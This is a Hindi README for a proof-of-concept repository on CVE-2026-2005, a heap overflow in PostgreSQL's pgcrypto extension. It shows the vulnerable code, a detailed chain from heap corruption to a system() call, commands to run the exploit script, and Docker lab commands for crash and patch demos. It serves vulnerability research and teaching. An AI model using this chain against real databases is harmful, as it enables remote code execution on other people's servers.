
CVE-2026-2005 के लिए एक्सप्लॉइट, PostgreSQL के pgcrypto एक्सटेंशन में हीप ओवरफ्लो जो रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाता है। इसमें PoC जनरेटर, Docker लैब, और विस्तृत तकनीकी राइटअप शामिल हैं।
PostgreSQL के pgcrypto एक्सटेंशन को लक्षित करने वाले एकल SQL क्वेरी के माध्यम से रिमोट कोड निष्पादन। यह भेद्यता pgp_parse_pubenc_sesskey() में एक हीप बफर ओवरफ्लो है जो PostgreSQL के आंतरिक MemoryContext आवंटक मेटाडेटा के भ्रष्टाचार की अनुमति देता है, जिससे postgres उपयोगकर्ता के रूप में मनमाना कोड निष्पादन प्राप्त होता है।
| CVE | CVE-2026-2005 |
| घटक | contrib/pgcrypto/pgp-pubdec.c |
| CWE | CWE-122 (हीप-आधारित बफर ओवरफ्लो) |
| CVSSv3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| प्रभावित | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| सुधारित | 14.21, 15.16, 16.12, 17.8, 18.2 |
| प्रकट | 2026-02-12 |
| फिक्स कमिट | 379695d3cc70d040b547d912ce4842090d917ece |



git clone https://github.com/dinosn/cve-2026-2005.git
cd cve-2026-2005/lab
docker compose up -d pg-exploit
# postgres को आरंभ करने के लिए ~5s प्रतीक्षा करें
python3 ../poc/exploit.py --run cve-2026-2005-pg-exploit

// contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey()
ctx->cipher_algo = *msg;
ctx->sess_key_len = msglen - 3; // हमलावर-नियंत्रित
memcpy(ctx->sess_key, msg + 1, ctx->sess_key_len); // sess_key uint8[32] है
ctx->sess_key एक निश्चित 32-बाइट बफर है जो हीप-आवंटित PGP_Context संरचना में एम्बेडेड है। अत्यधिक बड़ी RSA-एन्क्रिप्टेड सत्र कुंजी वाला एक निर्मित PGP संदेश sess_key_len को ~200 बाइट्स तक बढ़ा देता है, जो आसन्न हीप आवंटन में ओवरफ्लो हो जाता है। फिक्स sess_key_len > PGP_MAX_KEY सीमा जांच जोड़ता है।
sess_key[32] से परे 148-बाइट ओवरफ्लो आसन्न MBuf आवंटन में नकली आवंटक मेटाडेटा लिखता हैMBuf->data = NULL सेट करता है ताकि सफाई के दौरान explicit_bzero छोड़ दिया जाएhdrmask blockoffset=64 में डिकोड होता है, ब्लॉक पॉइंटर को हमलावर-नियंत्रित डेटा पर पुनर्निर्देशित करता हैAllocSetFree चंक पता MC+16 (यानी MemoryContext->methods फ़ील्ड) पर लिखता है, vtable पॉइंटर को प्रतिस्थापित करता हैMemoryContextDelete(MC) हमारे नकली vtable के माध्यम से methods->delete_context(MC) को कॉल करता है → system(MC)system() MemoryContext संरचना को एक स्ट्रिंग के रूप में पढ़ता है: NodeTag 0x1D5 = "\xd5\x01\x00\x00" → /usr/local/bin/\xd5\x01 निष्पादित करता हैpgcrypto एक्सटेंशन स्थापित (CREATE EXTENSION pgcrypto)/usr/local/bin/\xd5\x01 पर पहले से रखी गई (Dockerfile.exploit में शामिल)├── README.md
├── poc/
│ ├── exploit.py # स्व-निहित शोषण जनरेटर + रनर
│ ├── gen_exploit_v7.py # एनोटेटेड पेलोड बिल्डर
│ ├── gen_payload.py # केवल-क्रैश PoC जनरेटर (सभी ओवरफ्लो आकार)
│ ├── poc_big.sql # पूर्व-निर्मित क्रैश PoC (SIGSEGV)
│ └── poc_minimal.sql # न्यूनतम 4-बाइट ओवरफ्लो PoC
├── lab/
│ ├── docker-compose.yml # पूर्ण लैब: भेद्य, पैच्ड, डीबग, शोषण
│ ├── Dockerfile.exploit # रिलीज़ बिल्ड + ट्रिगर स्क्रिप्ट (RCE लक्ष्य)
│ ├── Dockerfile.vuln # स्टॉक भेद्य बिल्ड (क्रैश डेमो)
│ ├── Dockerfile.debug # Cassert बिल्ड (अभिकथन डेमो)
│ ├── init.sql # डेटाबेस आरंभीकरण
│ └── setup.sh # लैब सेटअप सहायक
├── reports/
│ ├── RCE-CHAIN.md # विस्तृत तकनीकी शोषण राइटअप
│ ├── REPORT.md # भेद्यता विश्लेषण रिपोर्ट
│ └── TODO-FOR-RCE.md # विकास लॉग (पूर्ण)
├── screenshots/
│ ├── 01-target-verification.png
│ ├── 02-exploit-fire.png
│ ├── 03-rce-proof.png
│ └── 04-full-run.png
└── src/ # प्रासंगिक स्रोत स्निपेट
| कंटेनर | पोर्ट | उद्देश्य |
|---|---|---|
pg-exploit | 5436 | RCE लक्ष्य (स्टॉक 17.7 + ट्रिगर स्क्रिप्ट) |
pg-vuln | 5433 | क्रैश डेमो (स्टॉक 17.7, SIGSEGV) |
pg-fixed | 5434 | पैच्ड बिल्ड (17.8, पेलोड अस्वीकार करता है) |
pg-debug | 5435 | डीबग बिल्ड (स्रोत विशेषता के साथ cassert SIGABRT) |
# सभी कंटेनर प्रारंभ करें
cd lab && docker compose up -d
# क्रैश डेमो (स्टॉक बिल्ड पर SIGSEGV)
docker exec cve-2026-2005-pg-vuln psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-vuln 2>&1 | grep "signal 11"
# पैच्ड बिल्ड (सुंदरता से अस्वीकार करता है)
docker exec cve-2026-2005-pg-fixed psql -U postgres -d lab -f /tmp/poc_big.sql
# ERROR: Public key too big
# डीबग बिल्ड (फ़ाइल:लाइन के साथ अभिकथन)
docker exec cve-2026-2005-pg-debug psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-debug 2>&1 | grep "TRAP"
postgres:17.7-bookworm Docker छवि के लिए विशिष्ट हार्डकोडेड हीप पते का उपयोग करता है। विभिन्न बिल्ड/वातावरणों के लिए पता पुन: अंशांकन की आवश्यकता होती है (GDB या जानकारी-रिसाव के माध्यम से)।SELECT digest('x','md5')) हीप लेआउट को स्थिर करता है।\xd5\x01 नामक एक बाइनरी की आवश्यकता होती है। Dockerfile इसे पहले से स्थापित करता है। वास्तविक-विश्व शोषण के लिए पूर्व लेखन पहुंच या एक अलग ROP/वन-गैजेट दृष्टिकोण की आवश्यकता होगी।--enable-cassert वाले डीबग बिल्ड फ्रीलिस्ट लेखन से पहले अभिकथन पर रुक जाते हैं।379695d)यह शोषण केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। केवल स्पष्ट प्राधिकरण के साथ नियंत्रित लैब वातावरण में उपयोग करें।